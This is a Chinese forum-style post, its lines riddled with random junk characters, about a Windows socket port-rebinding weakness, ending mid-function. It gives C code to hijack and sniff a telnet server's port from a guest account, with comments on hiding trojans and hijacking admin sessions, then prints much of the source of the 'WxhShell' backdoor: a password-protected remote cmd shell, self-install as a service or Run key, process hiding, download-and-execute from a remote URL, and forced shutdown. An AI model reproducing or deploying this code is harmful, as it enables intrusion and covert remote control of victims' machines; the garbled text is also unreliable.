在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
AY;+Ws s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
h(8;7}K z`5I1#PVA saddr.sin_family = AF_INET;
Ozv.;}SE ]-'9|N*}l saddr.sin_addr.s_addr = htonl(INADDR_ANY);
spx;QLo 2SJh6U bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
%^l&fM* u}1vn} F{ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
)/Xrhhx \!QF9dP4 这意味着什么?意味着可以进行如下的攻击:
5lxq-E3 z{g<y^Im+E 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
I7PWOd 9AYe,R 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
@c!67Z 4) 3pa* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
12PE{Mut lDU:EJ&DHE 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!5OMAWNU@ N ]7a= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
zsXH{atY 'r n;|K 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
"|'`'W tTFoS[V 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
)t0b$<% ptv4v[gQ #include
y+scJ+< #include
{@ y, #include
^R7z LHU; #include
_<a)\UR DWORD WINAPI ClientThread(LPVOID lpParam);
j$|C/E5? int main()
4@e!D Du {
[T}]Ma*CS WORD wVersionRequested;
B^(rUR DWORD ret;
$l;tP WSADATA wsaData;
DiQkT R BOOL val;
pInWKj[y1 SOCKADDR_IN saddr;
ePRM v SOCKADDR_IN scaddr;
{}o>nenx\ int err;
-fx88 SOCKET s;
O|&TL9: SOCKET sc;
D
Ok^ON int caddsize;
aaugu.9 HANDLE mt;
I!7.fuO DWORD tid;
W:poUG1UR wVersionRequested = MAKEWORD( 2, 2 );
!(_xu{(DL err = WSAStartup( wVersionRequested, &wsaData );
K2rS[Kdfaq if ( err != 0 ) {
z83:a)U printf("error!WSAStartup failed!\n");
`VFl|o#H return -1;
ZU.)K>' }
:ZfUjqRE saddr.sin_family = AF_INET;
f5b`gvCY,# pd>a6 lI` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
~R@m!'Ik :/[YY?pg- saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
:
|*,Lwvd saddr.sin_port = htons(23);
sHTePEJ_h if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@*"<U] {
/-YlC(kL printf("error!socket failed!\n");
/N]Ow return -1;
oZ>`Qu }
)4)iANH? val = TRUE;
`;qv} //SO_REUSEADDR选项就是可以实现端口重绑定的
31sgf5 s if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
SxW}Z_8x {
i)= 89?8 printf("error!setsockopt failed!\n");
7x7r!rSe, return -1;
txfwLqx }
KaQq[a //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
:y-0qzD? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
mERZ_[a2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
mz VuQ A[ECa{v if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2V2x,! {
"">fn( ret=GetLastError();
%cr]ZR printf("error!bind failed!\n");
W3V{Xk| return -1;
LYy:IBI7_ }
({_:^$E\ listen(s,2);
)Kk(P/s while(1)
x$5nLS2. {
;*4tVp, caddsize = sizeof(scaddr);
Kpp*^ //接受连接请求
H=o-ScA sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
\eMYw7y5M if(sc!=INVALID_SOCKET)
8
1KG1i ) {
tD~PvUJ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
1|EU5< if(mt==NULL)
p-yOiG8b} {
u};]LX\E printf("Thread Creat Failed!\n");
$|cp;~ 1 break;
!Ir1qt8T }
enbN0 }
7z&adkG: CloseHandle(mt);
'q};L 6 }
F%_,]^ n[ closesocket(s);
3n84YX{ WSACleanup();
Vi?~0.Z% return 0;
gLxT6v5wk. }
kJvy<(iG DWORD WINAPI ClientThread(LPVOID lpParam)
ngkeJ)M0$ {
`m@] SOCKET ss = (SOCKET)lpParam;
#1jtprc SOCKET sc;
,'1Olu{v[s unsigned char buf[4096];
a._^E/EV SOCKADDR_IN saddr;
%$Jqt long num;
W]!@Zlal DWORD val;
l\sS? DWORD ret;
@1/}-.(n //如果是隐藏端口应用的话,可以在此处加一些判断
jgo<#AJ/E //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
(@WDvgi( saddr.sin_family = AF_INET;
cJHABdK- saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
.i3lG(
YG saddr.sin_port = htons(23);
6h:?u4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Ql:
b1C, {
5y[b8mur printf("error!socket failed!\n");
"x.6W! return -1;
~^%0V<*-} }
K?FX<PT val = 100;
[aWDD[#j~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
zh{@?k {
l)i&ATvCE ret = GetLastError();
Oa.f~|
return -1;
){Ciu[h }
38*'8=Y#> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"BLv4s|y7L {
Ukh$`q} ret = GetLastError();
ER;lkF`RF return -1;
nqurY62Ip }
\2].|Mym if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
%TW%|"v {
~`~%(DA= printf("error!socket connect failed!\n");
'!+P{ closesocket(sc);
gI^L
9jE7 closesocket(ss);
PQU3s$ return -1;
w;yiX<t< }
z@Z_] h
while(1)
kyRh k\X {
S6Xb*6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
yUD_w //如果是嗅探内容的话,可以再此处进行内容分析和记录
~}7$uW0ol //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
}DDVGs[ num = recv(ss,buf,4096,0);
2xL!PR- if(num>0)
:_o] F send(sc,buf,num,0);
+gbX}jF0% else if(num==0)
Q{.{#G break;
3WO#^}t num = recv(sc,buf,4096,0);
t?]\M&i& if(num>0)
k W<Yda<a send(ss,buf,num,0);
pB g|n=^ else if(num==0)
b"R, p=M break;
wO2V%v^bp }
r
1l/) ; closesocket(ss);
l50|`
6t closesocket(sc);
Q
SHx]*)
return 0 ;
[l8V<*x%S9 }
x9x#'H3 .6O52E H )BOSZD ==========================================================
),nCq^Bp 5"-una>D 下边附上一个代码,,WXhSHELL
}
*
?n?' &\J?[>EJ. ==========================================================
V-D}U$fw ill-%OPeg #include "stdafx.h"
{h/OnBwG S3ab0JM #include <stdio.h>
0`VD!_` #include <string.h>
!G)mjvEe #include <windows.h>
w+Z- -@\ #include <winsock2.h>
"*Lj8C3|n #include <winsvc.h>
8
3z'# #include <urlmon.h>
5u2{n rc XKz;o^1a^ #pragma comment (lib, "Ws2_32.lib")
1A7 %0/K-] #pragma comment (lib, "urlmon.lib")
lv<iJH\
.-SDo"K.h #define MAX_USER 100 // 最大客户端连接数
0t#NMW #define BUF_SOCK 200 // sock buffer
^%\)Xi #define KEY_BUFF 255 // 输入 buffer
I! h(` '}U_D:o.b #define REBOOT 0 // 重启
Zdv.PGn #define SHUTDOWN 1 // 关机
xoqiRtlY: p{iG{ #define DEF_PORT 5000 // 监听端口
ioB|*D<U2 q[{: #define REG_LEN 16 // 注册表键长度
|?OdV<5C #define SVC_LEN 80 // NT服务名长度
fH{9]TU_: Zi 2o // 从dll定义API
|A ;o0pL typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
OOEV-= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
=)(3Dp typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
;]2x typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|ZvNH ~! Uj4Lu // wxhshell配置信息
<Vz<{W3t struct WSCFG {
i0k+l int ws_port; // 监听端口
hnp`s%e, char ws_passstr[REG_LEN]; // 口令
1vB-M6( int ws_autoins; // 安装标记, 1=yes 0=no
eq^TA1>T char ws_regname[REG_LEN]; // 注册表键名
$7Jfb<y char ws_svcname[REG_LEN]; // 服务名
nkCecwzr- char ws_svcdisp[SVC_LEN]; // 服务显示名
*ZGX-+{ char ws_svcdesc[SVC_LEN]; // 服务描述信息
,\BVV, char ws_passmsg[SVC_LEN]; // 密码输入提示信息
cU7rq j_ int ws_downexe; // 下载执行标记, 1=yes 0=no
8|1`Tn}o char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
5;X {.2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
c u\ls^ 2{Wo-B,wt~ };
~R :<Bw EoKC8/ // default Wxhshell configuration
z7-`Y9Ypd struct WSCFG wscfg={DEF_PORT,
k/df(cs
"xuhuanlingzhe",
:=rA Yc3] 1,
{SF[I "Wxhshell",
J&A;#<qY "Wxhshell",
M-{*92y&
| "WxhShell Service",
RXGHD19] "Wrsky Windows CmdShell Service",
6!ZVd#OM% "Please Input Your Password: ",
jr9&.8%W:v 1,
Y8)}PWMs "
http://www.wrsky.com/wxhshell.exe",
./#e1m?. "Wxhshell.exe"
wb]*u7G
t/ };
aGpCNc{+ Ds{{J5Um% // 消息定义模块
G7
1U 7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
sa_R$ /H char *msg_ws_prompt="\n\r? for help\n\r#>";
u FMIY(vB char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
DC&A1I& char *msg_ws_ext="\n\rExit.";
UQ5BH%EPb char *msg_ws_end="\n\rQuit.";
C1V# ?03eI char *msg_ws_boot="\n\rReboot...";
Iph3%RaE
char *msg_ws_poff="\n\rShutdown...";
tC2N>C[N char *msg_ws_down="\n\rSave to ";
;SfNKu U);OR char *msg_ws_err="\n\rErr!";
6^Ph ' char *msg_ws_ok="\n\rOK!";
{]=v]O|, IQT cYl char ExeFile[MAX_PATH];
3=Z<wD s int nUser = 0;
;P3>>DZ HANDLE handles[MAX_USER];
2-~a
P int OsIsNt;
[_h%F,_ A gF3TwAr SERVICE_STATUS serviceStatus;
fCB:733H SERVICE_STATUS_HANDLE hServiceStatusHandle;
"ml?7Xl,n +)gGs#2X // 函数声明
7U,k 2LS int Install(void);
\yM-O- { int Uninstall(void);
)7W6-.d int DownloadFile(char *sURL, SOCKET wsh);
;;@IfZ ?j int Boot(int flag);
l<TIG3bs void HideProc(void);
K'NcTw#f int GetOsVer(void);
)!cI|tovs int Wxhshell(SOCKET wsl);
W}>=JoN^J void TalkWithClient(void *cs);
i`+B4I8[ int CmdShell(SOCKET sock);
Gfv(w=rr? int StartFromService(void);
On4w/L9L5 int StartWxhshell(LPSTR lpCmdLine);
\k;U}Te< k5a\Sq} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
e$/&M*0\f VOID WINAPI NTServiceHandler( DWORD fdwControl );
h2% J/69 ;+
G9- // 数据结构和表定义
^|aNG`|O SERVICE_TABLE_ENTRY DispatchTable[] =
@44P4?; {
+jtA&1cf {wscfg.ws_svcname, NTServiceMain},
" \:ced {NULL, NULL}
MD<-w|#8IV };
1i
u =Y +3Y!xD?= // 自我安装
h'l^g%; int Install(void)
~n6[$WjZA {
;-Ss# & char svExeFile[MAX_PATH];
1~'_K9eE HKEY key;
|q_
!.
a strcpy(svExeFile,ExeFile);
"<*awWNI -u|l}}bh // 如果是win9x系统,修改注册表设为自启动
XvskB[\ if(!OsIsNt) {
.|uLt J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~s#e,Kav" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
X2gz6|WJ RegCloseKey(key);
< A?<N?%o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
snYr9O[E6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Q2eXK[?* RegCloseKey(key);
|) Pi6Y return 0;
t8&q9$ }
VFO\4:. }
[?KJ9~+0 }
YX*0?S else {
/BpxKh2p pcH<gF(k // 如果是NT以上系统,安装为系统服务
'S?;J ,/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
J{Tq%\a3 if (schSCManager!=0)
^Dr.DWi{$ {
,GrB'N{8e SC_HANDLE schService = CreateService
8Mu;U3cIW (
U<47WfcW schSCManager,
se!mb _! wscfg.ws_svcname,
}>&KUl wscfg.ws_svcdisp,
/s
c.C SERVICE_ALL_ACCESS,
]>Si0% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
M^6$
MMx SERVICE_AUTO_START,
W&(f&{A SERVICE_ERROR_NORMAL,
Ax!Gu$K2o svExeFile,
kZVm1W1 NULL,
iq6a|XGi NULL,
xMI+5b8 NULL,
~O:
U|& NULL,
|)o#|Qo
NULL
EvE,Dm?h );
WJ+>e+ if (schService!=0)
SMoz:J*Q( {
F>+2DlA`<e CloseServiceHandle(schService);
6GYtY> CloseServiceHandle(schSCManager);
([ dT!B#aH strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
%6ub3PLw8 strcat(svExeFile,wscfg.ws_svcname);
\ZD[!w7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\DA$6w\\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
\Hwg) Uc{ RegCloseKey(key);
+y&d;0! return 0;
?t rV72D }
"&lN\&: }
Z0ReWrl;` CloseServiceHandle(schSCManager);
)ofm_R'q* }
#tjmWGo, }
*
OsU Y=; o>c^aRZ{ return 1;
0xpx(T[ }
TfRGA(+# 47UO*oLS // 自我卸载
T&xt`| int Uninstall(void)
dvjTyX {
*8)2iv4[ HKEY key;
F9H~k"_ZJR (][LQ6Pc if(!OsIsNt) {
a3@w|KLt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lj2=._@R RegDeleteValue(key,wscfg.ws_regname);
},c,30V' RegCloseKey(key);
wAYB RY[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`cr(wdvI RegDeleteValue(key,wscfg.ws_regname);
'r+PH*Mr RegCloseKey(key);
KJh,,xI>by return 0;
mm[SBiFO\ }
dDtFx2(R }
7=P^_LcU }
t`|,6qEG else {
cDV^8 R $h28(K% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"0&N} if (schSCManager!=0)
(/h5zCc/v {
'v&}( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
O~@fXMthh if (schService!=0)
8Fq_i-u {
>UHa if(DeleteService(schService)!=0) {
T_#,
A0 G CloseServiceHandle(schService);
-<N&0F4|* CloseServiceHandle(schSCManager);
$%2H6Eg0 return 0;
/_\W+^fE }
#cKqnk CloseServiceHandle(schService);
j@1)K3Hga }
{6
.o=EyM{ CloseServiceHandle(schSCManager);
\cuS>G }
x<B'.3y }
Yrn"saVc, Jx|I6y return 1;
^O6*e]C$ }
[-w@.^:]X nr2r8u9r // 从指定url下载文件
Llz['"m int DownloadFile(char *sURL, SOCKET wsh)
Bjj<\8^M {
UUtbD&\ HRESULT hr;
<I=$ry6 8 char seps[]= "/";
cHD%{xlb char *token;
-_8*41 char *file;
?o[L7JI char myURL[MAX_PATH];
H+ZSPHs char myFILE[MAX_PATH];
=_pwA:z"A r;qzo. strcpy(myURL,sURL);
p!W[X%`) token=strtok(myURL,seps);
3qMNl>> while(token!=NULL)
4]XI"-M^D {
"x*-PFT file=token;
,&]MOe4@> token=strtok(NULL,seps);
UG[e//m }
3071:W #DI$Oc GetCurrentDirectory(MAX_PATH,myFILE);
/-Qv?" strcat(myFILE, "\\");
p25Fn`}H strcat(myFILE, file);
3/goCg send(wsh,myFILE,strlen(myFILE),0);
>3D7tK( send(wsh,"...",3,0);
fCX*R" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
;")A{tX2 if(hr==S_OK)
J7&DR^.Sw return 0;
5EeDHsvV9 else
yA7)Y})> return 1;
5lmO:G1 H\G{3.T.9 }
&__DJ''+ /"#4T^7& // 系统电源模块
(ku5WWJ int Boot(int flag)
;vp\YIeX1 {
SUdm 0y HANDLE hToken;
TEVI'%F TOKEN_PRIVILEGES tkp;
XutF"9u w|Aqqe if(OsIsNt) {
uJow7-FD OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
m],Ud\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
\54}T4R tkp.PrivilegeCount = 1;
YD[H tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
pSAR/':eg AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
HW_& !ye if(flag==REBOOT) {
R>)MiHcCg if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3 <SqoJSp return 0;
y]
V1b{9p }
|. C1|J'Z else {
%|"Qi]c d if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
"Pc$\zJm; return 0;
,4@|1z{bfm }
LAs7>hM }
E5G{B'%j else {
VWf %v if(flag==REBOOT) {
1'KishHK= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
YUkud2,j return 0;
@h9MxCE! }
Of7+/UV else {
}NmNanW^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
\,xFg w4 return 0;
pR$6,Vi }
Fi;VDK(V9 }
'Z8aPHD >1|g5 return 1;
-q>^ALf|@> }
fEnQE EU~P nkY@_N // win9x进程隐藏模块
!,&yyx. void HideProc(void)
EESN\_{~. {
G*n2Ii j$@tK0P HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
`rFAZcEj% if ( hKernel != NULL )
mP}#Ccji? {
wD9a#AgEd pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
KS<Jv; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
xAdq+$>< FreeLibrary(hKernel);
d>i13dAI }
Z`_.x
&Y h'5Cp(G return;
W)=%mdxW0 }
Fvl`2W94; h%}(h2W // 获取操作系统版本
yp]@^T N int GetOsVer(void)
z;3NiY {
]|Z b\{
OSVERSIONINFO winfo;
9O98Q6-s winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
<@#PF$! GetVersionEx(&winfo);
2C
"=!' if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
b-<HXn_Fd return 1;
W{Q)-y else
pj{\T?( return 0;
@u9Mks|{ }
XW~bu2%{7" /9 hR // 客户端句柄模块
k
onoI&kV| int Wxhshell(SOCKET wsl)
Vz:_mKA {
tk?UX7F SOCKET wsh;
C7qYiSv struct sockaddr_in client;
S*t%RZ~a DWORD myID;
h=+$>_&: ;=;JfNnbm while(nUser<MAX_USER)
By((,QpB {
q-AN[_@ int nSize=sizeof(client);
$k0H9_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
:`W|hE^ if(wsh==INVALID_SOCKET) return 1;
zVaCXNcbo 2@i;_3sv handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
cyF4iG'M,y if(handles[nUser]==0)
Dkw7]9Qm closesocket(wsh);
SI-X[xf else
eBcJm nUser++;
l5O=VqCj }
o/p-! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
FC>d_=V #gv4
return 0;
{NQoS" }
?pwE0N^ ?0vNEz[ // 关闭 socket
AU{:;%.g void CloseIt(SOCKET wsh)
-
q@69q {
8;zDg$( closesocket(wsh);
+Ui_ O nUser--;
wK*PD&nN ExitThread(0);
5
2Hqu> }
v\A.Tyy R@`rT*lJ // 客户端请求句柄
{B{i(6C( void TalkWithClient(void *cs)
j\2[H^
{
`gguip-C C{m&}g` SOCKET wsh=(SOCKET)cs;
Cvn$]bt/s char pwd[SVC_LEN];
2p< Aj! char cmd[KEY_BUFF];
?2`$3[ET- char chr[1];
Z)9R9s int i,j;
%e=!nRc T\sNtdF`: while (nUser < MAX_USER) {
(B#(Z= dOXD{c if(wscfg.ws_passstr) {
x ^vt; $ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<r\I"z$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
uHvaZMu //ZeroMemory(pwd,KEY_BUFF);
bZ5n,KQA5 i=0;
MCy~@)-IN while(i<SVC_LEN) {
4rp6 C/i ]VjLKFb~U // 设置超时
_z"o1`{w fd_set FdRead;
<GZhH: struct timeval TimeOut;
b! tludb FD_ZERO(&FdRead);
pXW`+<g0 FD_SET(wsh,&FdRead);
8(lCi$ TimeOut.tv_sec=8;
X47!E
|* TimeOut.tv_usec=0;
=vEkMJOs int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Zu#< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Ay$>(;
u,9q<&, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
=cp;Q,t'9L pwd
=chr[0]; #7W.s!#}Dd
if(chr[0]==0xd || chr[0]==0xa) { 2d&^Sp&11
pwd=0; 0XIxwc0Iw
break; I'InZ0J2
} AQh["1{yJ
i++; 8S>>7z!U
} {D(,ft;s^
yazZw}};
// 如果是非法用户,关闭 socket 3$_2weZxYn
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UR:n5V4
} ScJu_Af
6>B \|
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fPz=KoN
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ` :5,e/5,
Vy;_GfT$
while(1) { T`Hw49
t9D
S]Li
ZeroMemory(cmd,KEY_BUFF); C*pLq5s
uUS)#qM|
// 自动支持客户端 telnet标准 ^
f{qJ[,
j=0; Q8Te'1Ln!
while(j<KEY_BUFF) { ^H!Lp[5c
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i+ic23$4M
cmd[j]=chr[0]; r@|ZlM@O
if(chr[0]==0xa || chr[0]==0xd) { l<N?' &
cmd[j]=0; -$R5
break; P"Rk?lL
} /Ynt<S9"
j++; UK:M:9
} 0w}{(P;
]h8/M7k
// 下载文件 l ?/gWD^
if(strstr(cmd,"http://")) { jt%WPkY:
send(wsh,msg_ws_down,strlen(msg_ws_down),0); "1%*'B^}bw
if(DownloadFile(cmd,wsh)) cYD1~JX.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `~E<Sf<M
else 5f3!NeI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *a4
b
} :SeLkQC
else { Y_lCcu#OA
Wa/geQE1<
switch(cmd[0]) { mxhW|}_-j
OfLM
// 帮助 ]+,nA R
case '?': { P:a*t[+
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *NjMb{[ZQ
break; Dauo(Uhuo
} Is
kSX
// 安装 b,vL8*
case 'i': { $68 XZCx
if(Install()) |wJ),h8/
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
i ~P91
else cJV!>0ua
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ULrbQ}"cva
break; qAvvXs=5
} u2om5e:
// 卸载 rr4
_8Rf
case 'r': { -W6V,+of
if(Uninstall()) hhj
,rcsi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J{x##p<F$
else cuNq9y;[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >rRjm+vg
break; lmp
R>@o"
} =ZrjK=K
// 显示 wxhshell 所在路径 NN*Sb J0
case 'p': { >oB ?
char svExeFile[MAX_PATH]; yEnKUo[
strcpy(svExeFile,"\n\r"); b@F_7P%
strcat(svExeFile,ExeFile); <H_LFrB$W
send(wsh,svExeFile,strlen(svExeFile),0); WMA*.$Zi
break; `|NevpXY1
} LA>dkPB
// 重启 A1 b6Zt
case 'b': { X)Ocn`|
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~Gwas0eNa
if(Boot(REBOOT)) rcW#6VZ=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "rf\' 9=
else { GMyoSe%1/
closesocket(wsh); {AtfK>D
ExitThread(0); su%Z{f)#
} _"`uqW79
break; H8x:D3C0
} 1=- X<M75
// 关机 '>4+WZ1w5
case 'd': { ^$6bs64FSm
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?n73J wH
if(Boot(SHUTDOWN)) a6OrE*x:D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7dsnv)(v
else { ws na5D6i
closesocket(wsh); 8L@UB6b\
ExitThread(0); '1qAZkz
} &<#/&Pq/i
break; $)Jc-V
6E
} kKNk2!z`M
// 获取shell
$o{F
case 's': { ` 3vN R"
CmdShell(wsh); e(4bx5<*
closesocket(wsh); =/M$
<+
ExitThread(0); zww?
break; R^F7a0"
} ?Of{c,2 .
// 退出 |UABar b
case 'x': { av7q>NEZ!1
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Vl&+/-V
CloseIt(wsh); he_HVRpB
break; d#RF0,Y 9
} k-;.0!D^
// 离开 o&*1U"6D
case 'q': {
zd.1
send(wsh,msg_ws_end,strlen(msg_ws_end),0); mJ7`.
closesocket(wsh); /0X0#+kn
WSACleanup(); |~Htj4K/
exit(1); LAOdH/*:
break; z2"2tFK
} W8\PCXnsfl
} 3T Yo
} %'$cH$%~J
*#3voJjV(
// 提示信息 ^Osd/g
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $#g#[/
} l;.[W|
} G}Q}H*
}:K\)Pd
return; Z^jGT+ 2
} c4FOfH|
oC^z_AtZ
// shell模块句柄 :XNK-A W
int CmdShell(SOCKET sock) 4'd;'SvF
{ }A)^XZ/
STARTUPINFO si; +5N^TnBtBL
ZeroMemory(&si,sizeof(si)); KzxW?Ji$S
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mkKRC;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rjhs?
PROCESS_INFORMATION ProcessInfo; 'Y,+D`&i)
char cmdline[]="cmd"; )< X=z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PxdJOtI"
return 0; ft*G*.0kO
} >'BU*
iT)2 ?I6!
// 自身启动模式 mmh nw(/
int StartFromService(void) Q#d+IIR0gK
{ x`/m>~_
typedef struct a3DoLq"/
{ W]C_oh
DWORD ExitStatus; LRfFn^FPM
DWORD PebBaseAddress; /It.>1~2@
DWORD AffinityMask; od|N-R
